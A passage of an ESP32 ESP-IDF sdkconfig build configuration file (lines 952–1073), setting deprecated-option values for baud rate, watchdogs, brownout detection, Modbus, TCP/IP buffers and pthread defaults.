CONFIG_MONITOR_BAUD_OTHER is not set 952 | CONFIG_MONITOR_BAUD_OTHER_VAL=115200 953 | CONFIG_MONITOR_BAUD=115200 954 | CONFIG_COMPILER_OPTIMIZATION_LEVEL_DEBUG=y 955 | # CONFIG_COMPILER_OPTIMIZATION_LEVEL_RELEASE is not set 956 | CONFIG_OPTIMIZATION_ASSERTIONS_ENABLED=y 957 | # CONFIG_OPTIMIZATION_ASSERTIONS_SILENT is not set 958 | # CONFIG_OPTIMIZATION_ASSERTIONS_DISABLED is not set 959 | # CONFIG_CXX_EXCEPTIONS is not set 960 | CONFIG_STACK_CHECK_NONE=y 961 | # CONFIG_STACK_CHECK_NORM is not set 962 | # CONFIG_STACK_CHECK_STRONG is not set 963 | # CONFIG_STACK_CHECK_ALL is not set 964 | # CONFIG_WARN_WRITE_STRINGS is not set 965 | # CONFIG_DISABLE_GCC8_WARNINGS is not set 966 | CONFIG_BTDM_CONTROLLER_BLE_MAX_CONN_EFF=0 967 | CONFIG_BTDM_CONTROLLER_BR_EDR_MAX_ACL_CONN_EFF=0 968 | CONFIG_BTDM_CONTROLLER_BR_EDR_MAX_SYNC_CONN_EFF=0 969 | CONFIG_BTDM_CONTROLLER_PINNED_TO_CORE=0 970 | CONFIG_ADC2_DISABLE_DAC=y 971 | # CONFIG_SPIRAM_SUPPORT is not set 972 | CONFIG_TRACEMEM_RESERVE_DRAM=0x0 973 | # CONFIG_TWO_UNIVERSAL_MAC_ADDRESS is not set 974 | CONFIG_FOUR_UNIVERSAL_MAC_ADDRESS=y 975 | CONFIG_NUMBER_OF_UNIVERSAL_MAC_ADDRESS=4 976 | # CONFIG_ULP_COPROC_ENABLED is not set 977 | CONFIG_ULP_COPROC_RESERVE_MEM=0 978 | CONFIG_BROWNOUT_DET=y 979 | CONFIG_BROWNOUT_DET_LVL_SEL_0=y 980 | # CONFIG_BROWNOUT_DET_LVL_SEL_1 is not set 981 | # CONFIG_BROWNOUT_DET_LVL_SEL_2 is not set 982 | # CONFIG_BROWNOUT_DET_LVL_SEL_3 is not set 983 | # CONFIG_BROWNOUT_DET_LVL_SEL_4 is not set 984 | # CONFIG_BROWNOUT_DET_LVL_SEL_5 is not set 985 | # CONFIG_BROWNOUT_DET_LVL_SEL_6 is not set 986 | # CONFIG_BROWNOUT_DET_LVL_SEL_7 is not set 987 | CONFIG_BROWNOUT_DET_LVL=0 988 | CONFIG_REDUCE_PHY_TX_POWER=y 989 | CONFIG_ESP32_RTC_CLOCK_SOURCE_INTERNAL_RC=y 990 | # CONFIG_ESP32_RTC_CLOCK_SOURCE_EXTERNAL_CRYSTAL is not set 991 | # CONFIG_ESP32_RTC_CLOCK_SOURCE_EXTERNAL_OSC is not set 992 | # CONFIG_ESP32_RTC_CLOCK_SOURCE_INTERNAL_8MD256 is not set 993 | # CONFIG_DISABLE_BASIC_ROM_CONSOLE is not set 994 | # CONFIG_NO_BLOBS is not set 995 | # CONFIG_COMPATIBLE_PRE_V2_1_BOOTLOADERS is not set 996 | CONFIG_SYSTEM_EVENT_QUEUE_SIZE=32 997 | CONFIG_SYSTEM_EVENT_TASK_STACK_SIZE=2304 998 | CONFIG_MAIN_TASK_STACK_SIZE=3584 999 | CONFIG_IPC_TASK_STACK_SIZE=1024 1000 | CONFIG_TIMER_TASK_STACK_SIZE=3584 1001 | CONFIG_CONSOLE_UART_DEFAULT=y 1002 | # CONFIG_CONSOLE_UART_CUSTOM is not set 1003 | # CONFIG_CONSOLE_UART_NONE is not set 1004 | CONFIG_CONSOLE_UART_NUM=0 1005 | CONFIG_CONSOLE_UART_BAUDRATE=115200 1006 | CONFIG_INT_WDT=y 1007 | CONFIG_INT_WDT_TIMEOUT_MS=300 1008 | CONFIG_INT_WDT_CHECK_CPU1=y 1009 | CONFIG_TASK_WDT=y 1010 | # CONFIG_TASK_WDT_PANIC is not set 1011 | CONFIG_TASK_WDT_TIMEOUT_S=5 1012 | CONFIG_TASK_WDT_CHECK_IDLE_TASK_CPU0=y 1013 | CONFIG_TASK_WDT_CHECK_IDLE_TASK_CPU1=y 1014 | # CONFIG_EVENT_LOOP_PROFILING is not set 1015 | CONFIG_POST_EVENTS_FROM_ISR=y 1016 | CONFIG_POST_EVENTS_FROM_IRAM_ISR=y 1017 | CONFIG_MB_MASTER_TIMEOUT_MS_RESPOND=150 1018 | CONFIG_MB_MASTER_DELAY_MS_CONVERT=200 1019 | CONFIG_MB_QUEUE_LENGTH=20 1020 | CONFIG_MB_SERIAL_TASK_STACK_SIZE=2048 1021 | CONFIG_MB_SERIAL_BUF_SIZE=256 1022 | CONFIG_MB_SERIAL_TASK_PRIO=10 1023 | # CONFIG_MB_CONTROLLER_SLAVE_ID_SUPPORT is not set 1024 | CONFIG_MB_CONTROLLER_NOTIFY_TIMEOUT=20 1025 | CONFIG_MB_CONTROLLER_NOTIFY_QUEUE_SIZE=20 1026 | CONFIG_MB_CONTROLLER_STACK_SIZE=4096 1027 | CONFIG_MB_EVENT_QUEUE_TIMEOUT=20 1028 | CONFIG_MB_TIMER_PORT_ENABLED=y 1029 | CONFIG_MB_TIMER_GROUP=0 1030 | CONFIG_MB_TIMER_INDEX=0 1031 | # CONFIG_SUPPORT_STATIC_ALLOCATION is not set 1032 | CONFIG_TIMER_TASK_PRIORITY=1 1033 | CONFIG_TIMER_TASK_STACK_DEPTH=2048 1034 | CONFIG_TIMER_QUEUE_LENGTH=10 1035 | # CONFIG_L2_TO_L3_COPY is not set 1036 | # CONFIG_USE_ONLY_LWIP_SELECT is not set 1037 | CONFIG_ESP_GRATUITOUS_ARP=y 1038 | CONFIG_GARP_TMR_INTERVAL=60 1039 | CONFIG_TCPIP_RECVMBOX_SIZE=32 1040 | CONFIG_TCP_MAXRTX=12 1041 | CONFIG_TCP_SYNMAXRTX=6 1042 | CONFIG_TCP_MSS=1440 1043 | CONFIG_TCP_MSL=60000 1044 | CONFIG_TCP_SND_BUF_DEFAULT=5744 1045 | CONFIG_TCP_WND_DEFAULT=5744 1046 | CONFIG_TCP_RECVMBOX_SIZE=6 1047 | CONFIG_TCP_QUEUE_OOSEQ=y 1048 | # CONFIG_ESP_TCP_KEEP_CONNECTION_WHEN_IP_CHANGES is not set 1049 | CONFIG_TCP_OVERSIZE_MSS=y 1050 | # CONFIG_TCP_OVERSIZE_QUARTER_MSS is not set 1051 | # CONFIG_TCP_OVERSIZE_DISABLE is not set 1052 | CONFIG_UDP_RECVMBOX_SIZE=6 1053 | CONFIG_TCPIP_TASK_STACK_SIZE=3072 1054 | CONFIG_TCPIP_TASK_AFFINITY_NO_AFFINITY=y 1055 | # CONFIG_TCPIP_TASK_AFFINITY_CPU0 is not set 1056 | # CONFIG_TCPIP_TASK_AFFINITY_CPU1 is not set 1057 | CONFIG_TCPIP_TASK_AFFINITY=0x7FFFFFFF 1058 | # CONFIG_PPP_SUPPORT is not set 1059 | CONFIG_ESP32_PTHREAD_TASK_PRIO_DEFAULT=5 1060 | CONFIG_ESP32_PTHREAD_TASK_STACK_SIZE_DEFAULT=3072 1061 | CONFIG_ESP32_PTHREAD_STACK_MIN=768 1062 | CONFIG_ESP32_DEFAULT_PTHREAD_CORE_NO_AFFINITY=y 1063 | # CONFIG_ESP32_DEFAULT_PTHREAD_CORE_0 is not set 1064 | # CONFIG_ESP32_DEFAULT_PTHREAD_CORE_1 is not set 1065 | CONFIG_ESP32_PTHREAD_TASK_CORE_DEFAULT=-1 1066 | CONFIG_ESP32_PTHREAD_TASK_NAME_DEFAULT="pthread" 1067 | CONFIG_SPI_FLASH_WRITING_DANGEROUS_REGIONS_ABORTS=y 1068 | # CONFIG_SPI_FLASH_WRITING_DANGEROUS_REGIONS_FAILS is not set 1069 | # CONFIG_SPI_FLASH_WRITING_DANGEROUS_REGIONS_ALLOWED is not set 1070 | CONFIG_SUPPRESS_SELECT_DEBUG_OUTPUT=y 1071 | CONFIG_SUPPORT_TERMIOS=y 1072 | # End of deprecated options 1073 | --------------------------------------------------------------------------------